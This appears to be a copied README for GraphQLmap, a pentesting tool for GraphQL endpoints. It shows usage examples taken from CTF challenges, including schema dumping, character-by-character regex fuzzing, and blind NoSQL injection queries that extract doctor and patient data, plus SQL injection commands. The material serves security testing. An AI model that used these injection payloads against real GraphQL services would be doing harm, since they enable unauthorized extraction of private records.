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Original repository: https://github.com/swisskyrepo/GraphQLmap#install
GraphQLmap is a scripting engine to interact with a graphql endpoint for pentesting purposes.
- Install
- Features and examples
- Dump a GraphQL schema
- Interact with a GraphQL endpoint
- Execute GraphQL queries
- Autocomplete queries
- GraphQL field fuzzing
- NoSQL injection inside a GraphQL field
- SQL injection inside a GraphQL field
I 
pull requests, feel free to improve this script :)
You can also contribute with a 
IRL or using Github Sponsoring button.
Install
$ git clone https://github.com/swisskyrepo/GraphQLmap
$ python graphqlmap.py
_____ _ ____ _
/ ____| | | / __ \| |
| | __ _ __ __ _ _ __ | |__ | | | | | _ __ ___ __ _ _ __
| | |_ | '__/ _` | '_ \| '_ \| | | | | | '_ ` _ \ / _` | '_ \
| |__| | | | (_| | |_) | | | | |__| | |____| | | | | | (_| | |_) |
\_____|_| \__,_| .__/|_| |_|\___\_\______|_| |_| |_|\__,_| .__/
| | | |
|_| |_|
Author:Swissky Version:1.0
usage: graphqlmap.py [-h] [-u URL] [-v [VERBOSITY]] [--method [METHOD]] [--headers [HEADERS]]
optional arguments:
-h, --help show this help message and exit
-u URL URL to query : example.com/graphql?query={}
-v [VERBOSITY] Enable verbosity
--method [METHOD] HTTP Method to use interact with /graphql endpoint
--headers [HEADERS] HTTP Headers sent to /graphql endpoint
--json Send requests using POST and JSON
Features and examples
Examples are based on several CTF challenges from HIP2019.
Connect to a graphql endpoint
python3 graphqlmap.py -u https://yourhostname.com/graphql -v --method POST --headers '{"Authorization" : "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0ZXh0Ijoibm8gc2VjcmV0cyBoZXJlID1QIn0.JqqdOesC-R4LtOS9H0y7bIq-M8AGYjK92x4K3hcBA6o"}'
Dump a GraphQL schema
Use dump_new to dump the GraphQL schema, this function will automaticly populate the "autocomplete" with the found fields.
Live Example
GraphQLmap > dump_new
============= [SCHEMA] ===============
e.g: name[Type]: arg (Type!)
Query
doctor[]: email (String!),
doctors[Doctor]:
patients[Patient]:
patient[]: id (ID!),
allrendezvous[Rendezvous]:
rendezvous[]: id (ID!),
Doctor
id[ID]:
firstName[String]:
lastName[String]:
specialty[String]:
patients[None]:
rendezvous[None]:
email[String]:
password[String]:
[...]
Interact with a GraphQL endpoint
Write a GraphQL request and execute it.
GraphQLmap > {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admin\"} }"){firstName lastName id}}
{
"data": {
"doctors": [
{
"firstName": "Admin",
"id": "5d089c51dcab2d0032fdd08d",
"lastName": "Admin"
}
]
}
}
GraphQL field fuzzing
Use GRAPHQL_INCREMENT and GRAPHQL_CHARSET to fuzz a parameter.
Live Example
GraphQLmap > {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"AdmiGRAPHQL_CHARSET\"} }"){firstName lastName id}}
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi!\"} }"){firstName lastName id}}
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi$\"} }"){firstName lastName id}}
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi%\"} }"){firstName lastName id}}
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi(\"} }"){firstName lastName id}}
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi)\"} }"){firstName lastName id}}
[+] Query: (206) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi*\"} }"){firstName lastName id}}
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi+\"} }"){firstName lastName id}}
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi,\"} }"){firstName lastName id}}
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi-\"} }"){firstName lastName id}}
[+] Query: (206) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi.\"} }"){firstName lastName id}}
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi/\"} }"){firstName lastName id}}
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi0\"} }"){firstName lastName id}}
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi1\"} }"){firstName lastName id}}
[+] Query: (206) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi?\"} }"){firstName lastName id}}
[+] Query: (206) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admin\"} }"){firstName lastName id}}
NoSQLi injection
Use BLIND_PLACEHOLDER inside the query for the nosqli function.
Live Example
GraphQLmap > nosqli
Query > {doctors(options: "{\"\"patients.ssn\":1}", search: "{ \"patients.ssn\": { \"$regex\": \"^BLIND_PLACEHOLDER\"}, \"lastName\":\"Admin\" , \"firstName\":\"Admin\" }"){id, firstName}}
Check > 5d089c51dcab2d0032fdd08d
Charset > 0123456789abcdef-
[+] Data found: 4f537c0a-7da6-4acc-81e1-8c33c02ef3b
GraphQLmap >
SQL injection
GraphQLmap > postgresqli
GraphQLmap > mysqli
GraphQLmap > mssqli
TODO
- Docker with vulnerable GraphQL
- Unit tests
- Handle node
{
user {
edges {
node {
username
}
}
}
} Author
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